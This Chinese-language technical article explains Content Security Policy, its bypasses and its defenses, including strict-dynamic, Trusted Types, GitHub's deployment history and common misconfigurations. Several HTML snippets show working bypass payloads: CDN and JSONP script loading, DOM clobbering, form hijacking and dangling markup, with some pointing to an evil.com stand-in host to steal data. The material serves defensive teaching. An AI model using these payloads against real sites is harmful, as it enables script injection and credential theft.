2019年3月,一名安全研究员发现了一个令人不安的事实:在全球排名前100万的网站中,部署了CSP的网站仅有4.6%,而其中超过一半的策略可以被轻易绕过。这项由Google安全团队主导的研究揭示了一个残酷的真相——这个被设计为XSS攻击"终结者"的安全机制,在实践中正变得形同虚设。

内容安全策略(Content Security Policy,简称CSP)是W3C在2012年正式标准化的浏览器安全机制,其核心理念简洁而有力:让开发者告诉浏览器"只从这里加载内容"。但在十多年的实践中,这个看似简单的机制却演化出了复杂的攻防博弈。白名单模式的设计缺陷、第三方脚本的兼容性困境、以及不断涌现的绕过技术,共同构成了CSP部署的现实困境。

CSP的本质:浏览器安全边界的重新定义

理解CSP的关键在于认识到它解决的不是一个技术问题,而是一个信任边界问题。

传统Web安全模型基于同源策略(Same-Origin Policy),它限制了不同源之间的资源访问。但同源策略无法阻止攻击者从任意源加载恶意脚本——只要攻击者能在页面中注入一个<script>标签,浏览器就会忠实地执行其中的代码,无论该代码来自哪里。

CSP的核心创新在于引入了"内容源白名单"概念。服务器通过HTTP响应头或<meta>标签声明哪些内容源是可信的,浏览器在加载任何资源前都会检查该声明。一个基本的CSP策略如下:

Content-Security-Policy: default-src 'self'; script-src https://cdn.example.com

这条策略声明:默认只允许加载来自当前域的资源,脚本只允许从cdn.example.com加载。任何尝试从其他源加载脚本的行为都会被浏览器阻止。

但问题的复杂性在于,现代Web应用很少是封闭的单体。第三方分析脚本、广告SDK、社交媒体插件、支付网关……这些依赖构成了一个复杂的信任网络。CSP的设计必须在安全性和实用性之间寻找平衡点。

白名单的致命缺陷:当信任变成漏洞

CSP Level 1和Level 2都采用了白名单模式——开发者显式列出所有可信的内容源。这种设计直观易懂,但在实践中却暴露出严重的结构性缺陷。

CDN成为攻击者的后门

Google在2016年发表的研究论文《CSP Is Dead, Long Live CSP!》中分析了Alexa Top 100万网站的CSP部署情况,发现了一个普遍存在的漏洞模式:为了方便使用CDN,大量网站将ajax.googleapis.comcdn.jsdelivr.net等公共CDN加入了白名单。

问题在于,这些公共CDN托管了数以万计的JavaScript库。攻击者只需要找到其中一个存在的库,就能绕过CSP执行任意代码:

<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.0.1/angular.min.js"></script>
<div ng-app ng-csp>
  <div ng-click="$event.view.alert(1)">Click me</div>
</div>

AngularJS的模板系统允许在没有eval的情况下执行JavaScript,而CSP白名单无法区分CDN上的不同脚本。

JSONP端点:合法的XSS载体

更隐蔽的绕过方式利用了JSONP(JSON with Padding)端点。许多CSP白名单中的域名提供JSONP服务,攻击者可以利用这些端点执行任意代码:

<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>

如果accounts.google.com在白名单中,这条请求完全合法——浏览器会执行返回的alert(1)代码。

PortSwigger的安全研究员在2024年发现,即使是一些安全意识较强的网站也未能完全避免这种风险。通过对10000个网站的扫描,研究者识别出了15种新的CSP绕过方法,其中大部分与JSONP端点和CDN托管库相关。

统计数据揭示的部署困境

HTTP Archive发布的Web Almanac 2025年度报告显示,尽管CSP的部署率从去年的18.5%增长到21.9%,但有效防护的比例却令人担忧:

  • 在设置了script-src指令的网站中,高达92%仍使用'unsafe-inline'关键字,这一配置完全破坏了CSP对XSS的防护能力
  • 77%的网站使用'unsafe-eval',允许eval()等危险函数执行
  • 仅有约20%的网站采用基于nonce的策略,约10%使用strict-dynamic
  • Google 2016年的研究《CSP Is Dead, Long Live CSP!》发现,94.72%的已部署CSP策略可以被"轻易绕过"

这些数据揭示了一个根本性问题:白名单模式在理论上提供了灵活性,但在实践中却创造了攻击面。每当开发者将一个新的域名加入白名单,他们就在扩大攻击者的活动空间。

strict-dynamic:CSP Level 3的范式转变

CSP Level 3引入了strict-dynamic关键字,这标志着CSP设计哲学的根本转变——从"信任来源"转向"信任代码"。

信任链传递机制

strict-dynamic的核心思想是:如果一个脚本被开发者信任(通过nonce或hash验证),那么由该脚本动态创建的其他脚本也应该被信任。这种机制类似于操作系统中的权限继承:

Content-Security-Policy: script-src 'nonce-{RANDOM}' 'strict-dynamic'; object-src 'none'; base-uri 'none';

当浏览器看到一个带有正确nonce的<script>标签时,strict-dynamic允许该脚本通过DOM API动态创建新的脚本元素,而无需这些新脚本也携带nonce:

// 这个脚本带有正确的nonce,被信任
const script = document.createElement('script');
script.src = 'https://analytics.example.com/tracker.js';
document.head.appendChild(script);  // 新脚本自动获得信任,无需nonce

这种设计解决了传统白名单模式的核心问题:开发者不再需要为每个第三方域名添加白名单条目,也不必担心CDN上的其他代码被滥用。

信任边界的精确定义

strict-dynamic的信任传播是有边界的:

  • 只信任通过DOM API创建的脚本(document.createElement('script')
  • 不信任通过HTML字符串注入的脚本(innerHTMLdocument.write
  • 不信任通过evalsetTimeout(string)等执行的代码

这种边界设计防止了攻击者利用现有的信任脚本注入恶意代码。即使在受信任的脚本执行环境中存在HTML注入漏洞,攻击者也无法利用strict-dynamic传播的信任。

与第三方脚本的兼容性

strict-dynamic与Google Tag Manager、Google Analytics等第三方服务的兼容性得到了显著改善。传统白名单模式下,这些服务通常需要添加多个域名到白名单,而strict-dynamic只需要:

<script nonce="{RANDOM}">
  // 加载Google Tag Manager
  var gtm = document.createElement('script');
  gtm.src = 'https://www.googletagmanager.com/gtm.js?id=GTM-XXXX';
  document.head.appendChild(gtm);
</script>

GTM后续加载的所有标签和脚本都会自动继承信任,无需额外的CSP配置。

DOM Clobbering:当HTML成为攻击武器

CSP的演进并未停止攻击者的创新。2017年开始,一种名为DOM Clobbering的攻击技术引起了安全社区的广泛关注,它在2023年被PortSwigger的研究团队正式确认为CSP绕过的有效手段。

攻击原理

DOM Clobbering利用了浏览器的一个历史设计决策:HTML元素可以通过idname属性创建全局JavaScript变量。考虑以下代码:

// 开发者预期的代码
if (window.config.apiUrl) {
  fetch(window.config.apiUrl + '/data');
}

攻击者可以通过注入HTML覆盖config对象:

<a id="config" href="https://evil.com/steal?data=">
<a id="config" name="apiUrl" href="data:,">

当这段HTML被注入页面后,window.config变成了一个HTMLAnchorElement,而window.config.apiUrl则是另一个HTMLAnchorElement。访问window.config.apiUrl时,由于它是锚元素,其字符串表示是href属性的值,即data:,

绕过Strict CSP

strict-dynamic保护下,攻击者可以利用DOM Clobbering影响受信任脚本的执行行为:

<!-- 攻击者注入 -->
<a id="app"><a id="app" name="cdnBase" href="https://evil.com/">

<!-- 受信任的脚本 -->
<script nonce="...">
  var script = document.createElement('script');
  script.src = window.app.cdnBase + 'utils.js';  // 被劫持到 evil.com
  document.head.appendChild(script);
</script>

由于新脚本是由受信任脚本动态创建的,strict-dynamic会自动信任它——即使它来自攻击者控制的服务器。

防御策略

防御DOM Clobbering需要在代码层面进行:

// 不安全的写法
if (window.config.apiUrl) { ... }

// 安全的写法:验证类型
if (window.config && typeof config.apiUrl === 'string') { ... }

// 更安全的写法:使用命名空间
const MyApp = {
  config: { apiUrl: 'https://api.example.com' }
};

PortSwigger的Burp Suite已经集成了DOM Invader工具,可以自动检测页面中的DOM Clobbering漏洞。

Form Hijacking:被忽视的数据泄露通道

2024年3月,PortSwigger安全团队披露了一种被长期忽视的CSP绕过技术——表单劫持(Form Hijacking)。

问题的根源

CSP Level 2引入了form-action指令来限制表单提交的目标地址。然而,form-action并不包含在default-src的默认行为中。这意味着,如果开发者只设置了default-src 'self'而忘记显式设置form-action,攻击者仍然可以劫持表单提交:

<!-- 攻击者注入 -->
<form action="https://evil.com/steal">
  <input type="hidden" name="session" value="">
  <!-- 页面中后续的表单内容会被捕获 -->
</form>

密码管理器的放大效应

Form Hijacking的威胁在密码管理器普及的今天被进一步放大。当用户访问包含恶意表单的页面时,浏览器可能会自动填充保存的凭据,攻击者无需任何交互即可窃取用户名和密码。

Infosec Mastodon平台曾遭受过类似攻击:攻击者利用HTML注入漏洞创建了一个钓鱼表单,当用户点击看似正常的界面元素时,凭据被发送到攻击者控制的服务器。

防御配置

正确的CSP配置应该显式设置form-action

Content-Security-Policy: default-src 'self'; form-action 'self';

对于不需要表单提交的应用,可以使用最严格的配置:

Content-Security-Policy: form-action 'none';

Trusted Types:从根本上解决DOM XSS

CSP提供了资源加载层面的防护,但对于DOM XSS——通过JavaScript直接操作DOM引入的XSS——传统CSP的防护能力有限。Trusted Types是浏览器提供的新一代安全机制,专门针对DOM XSS攻击。

DOM XSS Sink函数的风险

现代Web应用大量使用innerHTMLevalsetTimeout(string)等API,这些函数被称为"sink"——它们接受字符串输入并将其作为代码执行。当不可信的字符串流入这些sink时,就会产生DOM XSS漏洞:

// 危险:用户输入直接流入innerHTML
element.innerHTML = userInput;

// 同样危险
eval(userInput);
setTimeout(userInput, 1000);

传统CSP无法有效防护这类漏洞,因为恶意代码并不来自外部资源,而是在页面内部生成和执行的。

Trusted Types的工作机制

Trusted Types要求开发者在将字符串传递给敏感sink之前,先通过一个策略函数进行处理:

// 创建一个受信任的类型策略
const sanitizer = trustedTypes.createPolicy('my-policy', {
  createHTML: (input) => DOMPurify.sanitize(input)
});

// 使用策略创建受信任的值
element.innerHTML = sanitizer.createHTML(userInput);  // 安全

// 直接使用字符串会被拒绝
element.innerHTML = userInput;  // TypeError: Failed to set the 'innerHTML' property

CSP与Trusted Types的配合

通过CSP头启用Trusted Types:

Content-Security-Policy: require-trusted-types-for 'script';

这条指令告诉浏览器:所有DOM XSS sink函数只接受Trusted Types创建的值,拒绝直接传入的字符串。

Google报告称,在启用了Trusted Types的服务中,DOM XSS漏洞几乎被完全消除。Chrome Lighthouse已经将Trusted Types检测作为最佳实践审计项。

GitHub的CSP演进之路:从白名单到深度防御

GitHub是CSP部署的最佳实践案例之一。他们的安全团队在博客中详细记录了CSP策略从2013年到2017年的演进过程,揭示了企业级CSP部署的真实挑战。

阶段一:基础白名单(2013年)

GitHub最初部署的CSP策略相对简单:

Content-Security-Policy: default-src 'self'; script-src 'self' https://github.global.ssl.fastly.net

这个策略保护了基本场景,但很快发现了问题:许多第三方服务需要添加到白名单,白名单不断膨胀。

阶段二:收紧img-src(2016年)

CSP稳定运行后,GitHub安全团队开始关注"post-CSP"攻击——那些在CSP保护下仍然可行的攻击。他们发现img-src可以成为数据泄露通道:

<img src='https://evil.com/steal?data=
<form action="...">
  <input type="hidden" name="csrf_token" value="secret">
</form>

这种"dangling markup"攻击可以窃取页面中的敏感信息。为解决这一问题,GitHub将img-src限制为自己的CDN和必要的服务,并移除了Google Analytics的图片追踪支持。

阶段三:Camo代理(2017年)

为了彻底解决第三方图片的安全风险,GitHub开发了一个名为Camo的图片代理服务。所有第三方图片URL都通过Camo代理,Camo会验证请求的完整性:

https://camo.githubusercontent.com/{hmac}/{hex-encoded-url}

由于攻击者无法预测正确的HMAC值,他们无法创建有效的Camo URL来泄露数据。

阶段四:Per-form CSRF Token

GitHub还实施了per-form CSRF token机制——每个表单的CSRF token只能用于该表单的目标URL。这意味着即使攻击者窃取了一个CSRF token,也只能用于特定的、低风险的端点。

这种纵深防御策略展示了CSP的真实价值:它不是万能的防护手段,而是应该与其他安全机制配合使用。

CSP Level 3的新特性:更精细的控制粒度

W3C在2024年11月发布的CSP Level 3规范引入了一系列新特性,旨在提供更精细的控制和更好的开发体验。

unsafe-hashes:兼容性与安全的平衡

内联事件处理器(如onclick="doSomething()")传统上被CSP阻止,这迫使开发者重构大量遗留代码。unsafe-hashes允许开发者为特定的事件处理器生成hash:

Content-Security-Policy: script-src 'sha256-xxxx' 'unsafe-hashes'
<button onclick="doSomething()">  <!-- 如果hash匹配,允许执行 -->

这比完全禁用内联事件处理器或使用'unsafe-inline'提供了更好的安全-兼容性权衡。

script-src-attr和script-src-elem

CSP Level 3将script-src拆分为两个更精细的指令:

  • script-src-elem:控制<script>元素
  • script-src-attr:控制内联事件处理器

这种分离允许开发者对不同的脚本来源应用不同的策略:

Content-Security-Policy: 
  script-src-elem 'nonce-{RANDOM}' 'strict-dynamic';
  script-src-attr 'none';  /* 完全禁止内联事件处理器 */

report-sample:违规报告的改进

report-sample关键字允许在违规报告中包含被阻止代码的样本:

Content-Security-Policy: script-src 'nonce-{RANDOM}' 'report-sample'

这大大简化了调试过程,开发者可以直接在违规报告中看到是哪段代码被阻止。

第三方脚本的兼容性策略

现代Web应用几乎无法避免使用第三方脚本。如何在保持安全的同时兼容这些脚本,是CSP部署的核心挑战。

策略一:服务端渲染nonce

对于服务端渲染的应用,最安全的方式是为每个请求生成唯一的nonce:

// Node.js/Express示例
app.get('/', (req, res) => {
  const nonce = crypto.randomBytes(16).toString('base64');
  res.set('Content-Security-Policy', 
    `script-src 'nonce-${nonce}' 'strict-dynamic'; object-src 'none'`);
  res.render('index', { nonce });
});

所有内联脚本都需要携带这个nonce:

<script nonce="<%= nonce %>">
  // 加载第三方脚本
</script>

策略二:静态站点的hash方案

对于静态站点(如SPA应用),hash方案更合适:

// 构建时生成hash
const scriptContent = fs.readFileSync('inline-script.js', 'utf-8');
const hash = crypto.createHash('sha256').update(scriptContent).digest('base64');
console.log(`'sha256-${hash}'`);

构建工具如Webpack、Vite都有相应的插件可以自动化这个过程。

策略三:第三方脚本的代理

对于无法控制内容的第三方脚本,最佳实践是通过自己的服务器代理:

location /proxy/analytics/ {
  proxy_pass https://www.google-analytics.com/;
  proxy_set_header Host www.google-analytics.com;
}

这样第三方脚本的域名就变成了自己的域名,避免了CSP白名单的复杂性。

报告机制:从report-uri到Reporting API

CSP的价值不仅在于阻止攻击,还在于提供可观测性。了解生产环境中发生了哪些违规,是持续改进策略的关键。

report-uri的遗留支持

传统的report-uri指令将违规报告发送到指定URL:

Content-Security-Policy: default-src 'self'; report-uri /csp-report

浏览器会向该URL发送一个POST请求,包含JSON格式的违规详情。

Reporting API:现代替代方案

Reporting API提供了更通用的报告框架:

Content-Security-Policy: default-src 'self'; report-to csp-endpoint
Report-To: {"group": "csp-endpoint", "max_age": 10886400, 
            "endpoints": [{"url": "/report"}]}

这种方式允许配置多个报告端点、设置过期时间,并支持不同类型的报告(CSP、COOP、COEP等)共用基础设施。

Cloudflare Workers的实现示例

对于使用Cloudflare的站点,可以用Workers低成本实现报告收集:

// Worker代码
addEventListener('fetch', event => {
  if (event.request.method === 'POST' && 
      event.request.url.endsWith('/csp-report')) {
    event.request.json().then(report => {
      console.log('CSP Violation:', report);
      // 发送到日志服务或存储
    });
    return new Response('OK');
  }
});

常见错误与最佳实践

基于对大量网站CSP配置的分析,以下是最常见的错误及其修正方案。

错误一:遗漏关键指令

// 错误:form-action、base-uri不在default-src范围内
Content-Security-Policy: default-src 'self'

// 正确
Content-Security-Policy: default-src 'self'; form-action 'self'; base-uri 'self'; object-src 'none'

错误二:弱随机数nonce

// 错误:可预测的nonce
'nonce-' + Date.now()

// 正确:加密安全的随机数
'nonce-' + crypto.randomBytes(16).toString('base64')

错误三:过度依赖unsafe-inline

// 错误:破坏了CSP的XSS防护
script-src 'self' 'unsafe-inline'

// 正确:使用nonce或hash
script-src 'nonce-{RANDOM}' 'strict-dynamic'

错误四:语法错误

PortSwigger的研究发现,大量网站的CSP存在语法错误:

// 错误:缺少引号
script-src sha256-xxxx

// 正确
script-src 'sha256-xxxx'

// 错误:缺少分号
default-src 'self' script-src 'none'

// 正确
default-src 'self'; script-src 'none'

最佳实践:渐进式部署

  1. 从Report-Only开始:先使用Content-Security-Policy-Report-Only收集违规报告,不影响生产功能
  2. 逐步收紧:从宽松的策略开始,根据报告逐步收紧
  3. 监控关键指标:跟踪违规报告数量、类型,及时发现问题
  4. 定期审计:使用Google CSP Evaluator等工具定期检查策略

结语

CSP的十年演进揭示了一个深刻的道理:安全机制的有效性不仅取决于技术设计,更取决于部署实践。白名单模式的失败不是因为技术不可行,而是因为它将复杂的信任决策推给了开发者,而开发者往往缺乏足够的安全知识和时间来做出正确决策。

strict-dynamic、Trusted Types等新机制代表了CSP设计哲学的转变——从"开发者定义信任边界"转向"浏览器提供安全默认值"。这种转变降低了正确部署安全机制的门槛,让安全成为默认选择而非额外负担。

对于开发者而言,CSP应该被视为纵深防御体系的一环,而非独立的解决方案。与输入验证、输出编码、CSRF保护、安全框架等机制配合使用,才能构建真正坚固的安全防线。

“CSP不是银弹,但它是让攻击者的日子变得更艰难的重要工具。” — Mike West,Google安全工程师


参考资料